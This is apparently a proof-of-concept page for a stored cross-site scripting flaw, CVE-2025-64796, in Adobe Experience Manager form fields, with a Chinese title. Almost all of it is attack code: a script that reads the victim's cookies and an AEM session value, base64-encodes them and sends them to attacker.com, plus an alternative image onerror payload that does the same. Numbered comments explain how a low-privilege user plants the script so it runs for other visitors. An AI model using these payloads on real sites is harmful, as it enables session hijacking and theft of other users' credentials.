CVE-2025-64796 Adobe Experience Manager存储型XSS漏洞

<!-- CVE-2025-64796 PoC: Stored XSS in Adobe Experience Manager Form Fields --> <!-- Attacker with low privileges injects malicious script into form field --> <!-- Step 1: Malicious payload injection --> <script> // Malicious JavaScript to be stored and executed var stolenCookies = document.cookie; var stolenSession = sessionStorage.getItem('cq-session'); // Exfiltrate data to attacker-controlled server fetch('https://attacker.com/steal?data=' + btoa(stolenCookies + '|' + stolenSession), { method: 'GET', mode: 'no-cors' }); // Optional: Session hijacking script // This could be used to impersonate the victim user console.log('XSS Payload Executed - CVE-2025-64796'); </script> <!-- Alternative payload: Image tag with event handler --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"> <!-- PoC Explanation: --> <!-- 1. Attacker with low privileges creates/edits content containing the form --> <!-- 2. Attacker injects the above JavaScript into a vulnerable form field --> <!-- 3. The malicious script is stored in the AEM JCR repository --> <!-- 4. When other users view the page, the script executes in their browser context --> <!-- 5. Attacker can steal session cookies, tokens, or perform actions as the victim -->